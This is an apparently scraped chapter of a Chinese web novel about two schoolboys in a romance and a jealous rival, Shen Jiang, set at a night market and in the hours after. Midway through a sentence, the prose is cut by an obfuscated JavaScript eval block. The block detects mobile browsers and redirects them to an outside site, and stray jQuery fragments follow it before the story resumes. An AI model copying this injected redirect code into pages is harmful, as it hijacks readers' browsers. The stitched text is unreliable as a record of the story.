6. 情敌
作品:《青言原长》 糖画的甜还没在舌尖散尽,梁言许的手腕突然被人攥住。力道大得发疼,他踉跄着后退半步,撞进周原怀里。
“小土豆,跑这儿约会来了?”沈江的声音裹着夜市的油烟味,带着点不怀好意的笑。他的目光扫过梁言许无名指上的戒指,眼底掠过一丝阴翳,“这破玩意儿谁送的?不如我送你个金的。”
周原把梁言许往身后拽了拽,眼神冷得像淬了冰:“放开。”
“急什么?”沈江松开手,却故意用指腹蹭了蹭梁言许的手腕,像在宣示什么,“我就是来跟梁言许打个招呼,毕竟……”他拖长了调子,视线在梁言许泛红的耳尖上打转,“我们也算不打不相识。”
梁言许往周原身后缩了缩,指尖攥紧了对方的衣角。周原的体温透过布料传过来,让他稍微定了定神:“我们不熟。”
“不熟?”沈江笑了,从口袋里摸出几颗水果糖,剥开糖纸递过去,“尝尝?葡萄味的,你上次在器材室……”
话没说完,周原已经一拳挥了过去。沈江早有防备,侧身躲开,拳头擦着他的脸颊砸在身后的糖画摊上,糖浆溅了一地,像碎掉的星星。
“周原!”梁言许拉住他,生怕又打起来。
沈江舔了舔唇角,看着梁言许拉着周原的手,突然笑了:“行啊,护着他是吧?”他把那几颗糖塞进梁言许口袋里,动作快得让人躲不开,“记住了,我叫沈江,比他靠谱。”
说完,他转身融进人群,背影在霓虹灯影里晃了晃,没入卖烤冷面的白雾中。
梁言许掏出那颗糖,葡萄味的甜腻气钻进鼻腔,他皱着眉想扔掉,却被周原按住手。
“别扔。”周原的声音有点闷,他拿起那颗糖,掰成两半,一半塞进自己嘴里,一半递到梁言许嘴边,“甜吗?”
梁言许咬了一口,甜得发齁,却点了点头。
周原突然低头,在他唇角啄了一下,把那点甜味卷进自己嘴里:“没你甜。”
周围有人吹起口哨,梁言许的脸瞬间红透,推开他就往前走。
周原笑着追上去,故意撞了撞他的肩膀:“咋了?”
“没事就有点热。”梁言许加快脚步,却没甩开他交握过来的手。
两人刚走到卖气球的摊位前,梁言许突然停下脚步。不远处的奶茶店门口,沈江正靠在栏杆上,手里捏着杯没开封的珍珠奶茶,目光直勾勾地盯着他们。见梁言许看过来,他还举了举杯,嘴角勾着抹说不清道不明的笑。
“别看了。”周原把梁言许的脸转过来,指腹捏了捏他的脸颊,“再看,我就把他奶茶扔了。”
“幼稚。”梁言许拍开他的手,却忍不住又往那边瞥了一眼。沈江已经转身走进奶茶店,背影看着有点落寞。
周原顺着他的目光看去,突然叹了口气,从背后抱住他:“放心,他抢不走你。”
梁言许挣了挣,没挣开,只好任由他抱着:“谁担心这个了。”
“那你脸红什么?”周原低头,鼻尖蹭着他的颈窝,“还是说……你对他有点意思?”
“周原!”梁言许气鼓鼓地转过身,手里的糖画差点戳到他脸上,“你再胡说八道,我就把你土豆戒指扔了!”
周原连忙举手投降,眼底却藏着笑意:“好好好,我错了。”他拉着梁言许往夜市深处走,避开了奶茶店的方向,“去买糖葫芦?山楂的,酸死你。”
梁言许被他拽着往前走,口袋里的那颗葡萄糖硌得慌,他摸出来扔进垃圾桶,心里却莫名有点乱。
夜市尽头的烟花突然炸响,金红色的光映亮了半边天。周原停下脚步,转身捧住他的脸,在漫天烟火下吻了下去。
“梁言许,”他的声音混着烟花的轰鸣,却异常清晰,“你是我的。”
梁言许的心跳得飞快,在又一声烟花炸开时,轻轻“嗯”了一声。
不远处的巷口,沈江捏瘪了手里的奶茶杯,珍珠混着奶茶淌在地上,黏糊糊的像没说出口的话。他看着那对在烟火下拥抱的身影,骂了句脏话,转身消失在黑暗里。
烟花还在继续,把周原和梁言许的影子叠在一起,像枚被烫在夜色里的印章,清晰而滚烫。
烟花落尽时,巷子里的风卷着烤串的香味飘过来,梁言许的耳朵还红着,被周原牵着的手沁出点薄汗。
“回去吗?”周原捏了捏他的指尖,指腹摩挲过那枚戒指——是他托相熟的老工匠打的,内壁刻着两人名字的首字母,特意选了最细巧的款式,衬得梁言许的手指愈发秀气。
梁言许点点头,目光不自觉又往奶茶店的方向扫了眼,那里只剩空荡的栏杆,连沈江留下的奶茶杯都被清洁工收走了。
“还在想?”周原忽然停下,弯腰平视着他,路灯的光落在周原睫毛上,投下一小片阴影,“梁言许,器材室到底怎么回事?”
这个问题像颗没爆的烟花,在梁言许心里悬了好几天。他咬着下唇,指尖抠着周原的掌心:“就……上次体育课后我落了东西,回去拿的时候撞见他了。他说他脚崴了,让我扶他去医务室,结果……”
“结果什么?”周原的声音沉了点。
“结果他突然拽住我,问我是不是跟真的喜欢你。”梁言许的声音越来越小,“我说关他什么事,他就笑,还塞了颗葡萄糖给我,说……说想追我。”
话音刚落,手腕就被周原攥紧了,力道却不重,更像种无声的委屈。梁言许抬头,正撞见周原眼底翻涌的情绪,像被搅乱的星子。
“那时候怎么不告诉我?”
“我怕你生气。”梁言许小声说,“而且我当场就把糖扔了,还骂了他……”
周原忽然笑了,低头用额头抵着他的:“骂得好。”他顿了顿,声音软下来,“以后再有人欺负你,第一时间告诉我,听见没?”
梁言许“嗯”了一声,被他这突如其来的温柔弄得鼻子有点酸。
两人慢慢往巷口走,影子被路灯拉得老长,又在拐角处叠成一团。快到小区门口时,梁言许突然想起什么:“刚才糖画摊……赔了钱吗?”
“赔了,老板挺好说话,还送了我根新的。”周原从口袋里摸出根没被碰坏的小兔子糖画,递到他嘴边,“吃吧,这次没碎。”
梁言许咬了口,焦糖的甜混着晚风的凉,心里那点乱糟糟的情绪好像被抚平了些。他含着糖说:“周原,你刚才吃醋的样子好傻。”
“还不是因为你?”周原刮了下他的鼻尖,“被别人那么盯着看,还脸红。”
“我那是被你亲的!”梁言许瞪他,脸颊却又热起来。
楼道里的声控灯随着脚步声亮起来,暖黄的光打在两人交握的手上。到了三楼,周原突然把他抵在门上,低头吻了吻他的发顶:“明天我来找你,带你去公园喂鸽子。”
“好啊。”梁言许应着,口袋里的手机突然震动了下。他掏出来看,是条陌生号码的短信,只有一句话:
“明天下午三点,老城的新华书店,我知道你喜欢那里的旧书。——沈江”
屏幕的光映着梁言许愣住的脸,周原凑过来看了眼,眉头瞬间皱起。他没说话,只是拿过梁言许的手机,手指飞快地按了几下,然后把手机塞回他口袋。
“删了。”周原的声音有点硬,却在看到梁言许抿起的唇时,又放软了语气,“别想了,明天我们先去公园,再去书店,我陪你慢慢挑。”
梁言许“嗯”了一声,推开门进去时,回头看了眼站在楼道里的周原。他还站在那里,路灯的光从窗户漏进来,在他身上镀了层金边,像个固执守护着什么
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16340954|183444||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的骑士。
关上门的瞬间,梁言许靠在门板上,摸出手机。屏幕暗着,那条短信确实被删得干干净净。可沈江递糖时的眼神,还有刚才在奶茶店门口举着杯子的样子,却像葡萄味的糖精,黏在记忆里,甜得有点发苦。
窗外的烟花早就停了,夜空只剩下几颗疏星。梁言许走到窗边,往下看时,正看见周原转身下楼的背影,一步一步,走得很稳。
他忽然笑了笑,摸了摸无名指上的戒指,冰凉的金属贴着皮肤,却让人莫名安心。转身去洗漱时,他打定主意,明天要把所有注意力都放在周原身上,那些不该有的情绪,该像扔掉那颗葡萄糖一样,彻底丢进垃圾桶里。
月光从窗帘缝里溜进来,在梁言许的侧脸淌出一道银线。他睁着眼望着天花板,周原的影子总在眼前晃——那人吊儿郎当的笑,抢书包时的手忙脚乱,还有被戒尺打到时,疼得皱眉却偏要扯出的温柔。
心跳声在静夜里格外响,像有人在敲鼓。他翻了个身,把脸埋进枕头,想把那些乱糟糟的念头压下去,可越是用力,周原的声音就越清晰:"小土豆怎么做都好吃啊。"
窗外的风卷着落叶沙沙响,梁言许忽然摸到自己发烫的耳根。
同一时刻,周原正走在回家的路上。路灯把他的影子拉得又瘦又长,像条没精打采的狗。他踢着路边的石子,鞋跟敲地面的声音孤零零的。方才在夜市攥过梁言许手腕的掌心,似乎还留着点温热的触感。
"笨蛋。"他低头笑了声,石子被踢得老远,滚进暗处没了声响。要是能一直牵着就好了,他想。
城市的另一端,沈江坐在书桌前,指尖转着的圆珠笔忽然停住。他俯身抓起笔,在草稿纸空白处勾勾画画,线条很快勾勒出一个模糊的侧影——是梁言许低头看书时的样子,额前的碎发垂下来,笔尖在纸页上顿了顿,又添了几笔,把那抹专注的神态描得更清了些。
窗外的路灯透过纱窗照进来,在纸页上投下淡淡的网纹。沈江盯着画里的人,指腹摩挲过纸面,眼神沉得像化不开的墨。他忽然用笔尖在侧影旁画了个潦草的叉,力道重得几乎戳破纸背。
周原那副样子,凭什么总缠着梁言许?他捏紧了笔,骨节泛白。下学期的分班,他一定要与梁言许在一起。
草稿纸上的侧影旁,不知何时多了几道凌厉的线条,像在宣示着某种不容置疑的决心。沈江对着画纸勾了勾唇角,把笔帽按回去时,声音轻得只有自己能听见:"总会是我的。"
章婷南趴在阳台栏杆上,月光顺着她的发梢滑下来,在手腕上投下细碎的光斑。楼下的香樟树影影绰绰,风一吹,叶尖的月光就跟着晃,像她心里七上八下的鼓点。
手机屏幕还亮着,是下午存下的梁言许朋友圈照片——他站在图书馆门口,身后的玉兰开得正好。她对着照片看了半晌,指尖在屏幕上点了点,又赶紧缩回来,像怕惊扰了什么。
抽屉里躺着个手工缝制的星象挂坠,是她照着天文图鉴一针一线绣的,针脚歪歪扭扭,却把猎户座的腰带三星绣得格外亮。原本想在放学时塞给他,可远远看见他被周原缠着,话到了嘴边又咽了回去。
夜风带着点凉意,章婷南把挂坠握在手心,冰凉的布面被捂得渐渐发烫。她对着月亮轻轻说:"明天去他家附近的书店转转,应该......能碰到吧?"
月光落在她泛红的耳尖上,像给这份小心翼翼的期待,镀了层温柔的膜。
夜渐渐深了,万家灯火一盏盏熄灭。但梁言许不知道,有三双眼睛正朝着他的方向,揣着各自的心事醒着。
他翻了个身,把自己裹进被子里,周原那句"宝宝"突然又钻进来。窗外的月光动了动,像谁悄悄叹了口气。
这场藏在夜色里的拉扯,才刚刚开始。